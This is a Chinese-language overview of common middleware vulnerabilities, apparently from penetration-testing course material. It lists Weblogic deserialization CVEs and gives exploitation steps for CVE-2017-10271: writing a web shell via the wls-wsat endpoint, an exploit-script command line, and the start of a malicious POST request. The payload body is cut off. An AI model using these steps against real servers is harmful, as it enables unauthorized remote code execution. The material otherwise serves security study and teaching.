常见中间件漏洞总结

1. Weblogic常见漏洞
2. Tomcat常见漏洞
3. Nginx常见漏洞
4. JBOSS常见漏洞

中间件简介
中间件是一种独立的系统软件或服务程序，分布式应用软件借助这种
软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统
之上，管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统
的软件。相连接的系统，即使它们具有不同的接口，但通过中间件相互之
间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件，
应用程序可以工作于多平台或OS环境。
1.一般本地开发的话，小项目，或者是个人开发建议使用tomcat。
2.linux系统建议使用jetty或apache hpptd
3.大型的项目就用JBOSS或webloigc
4.大项目或者商业项目一般采用：weblgoic/webshere，其他的还有jboss、
glasshfish等
5.一些示例项目或者小项目常采用jetty
6.tomcat , jboss, weblogic, nginx,websphere为常见中间件。
Weblogic 常见漏洞
WebLogic常用端口7001/7002，常见漏洞有弱口令导致上传任意war包、SSRF
漏洞、任意文件上传和反序列化漏洞。
默认访问路径：http://your-ip:port/console/login/LoginForm.jsp
weblogic反序列化漏洞
基于Weblogic t3协议引起远程代码执行的反序列化漏洞全家福：
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
基于wls-wsat服务组件的引起远程代码执行的反序列化漏洞：
CVE-2017-3506
CVE-2017-10271
任意文件上传漏洞：
CVE-2018-2894
wls-wsat XMLDecoder  反序列化漏洞（CVE-2017-10271） ）
Weblogic的WLS Security组件对外提供webservice服务，其中使
用了XMLDecoder来解析用户传入的XML数据，在解析的过程中
出现反序列化漏洞，导致可执行任意命令。
影响范围：
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
1、访问http://172.16.222.142:7001/即可看到一个404页面，说
明weblogic已成功启动。
2、访问： http://172.16.222.142:7001/wls-wsat/CoordinatorPortT
ype，抓包，写入shell。
访问： http://172.16.222.142:7001/bea_wls_internal/test.jsp
工具：weblogic XML反序列化检查工具
weblogic_wls_wsat_exp_win.py
命令： python .\weblogic_wls_ws
at_exp_win.py -t 172.16.222.142:7001 -c ifconfig
'wls-wsat' XMLDecoder  反序列化漏洞（CVE-2017-10271） ）
POST /wls-wsat/CoordinatorPortTypeHTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638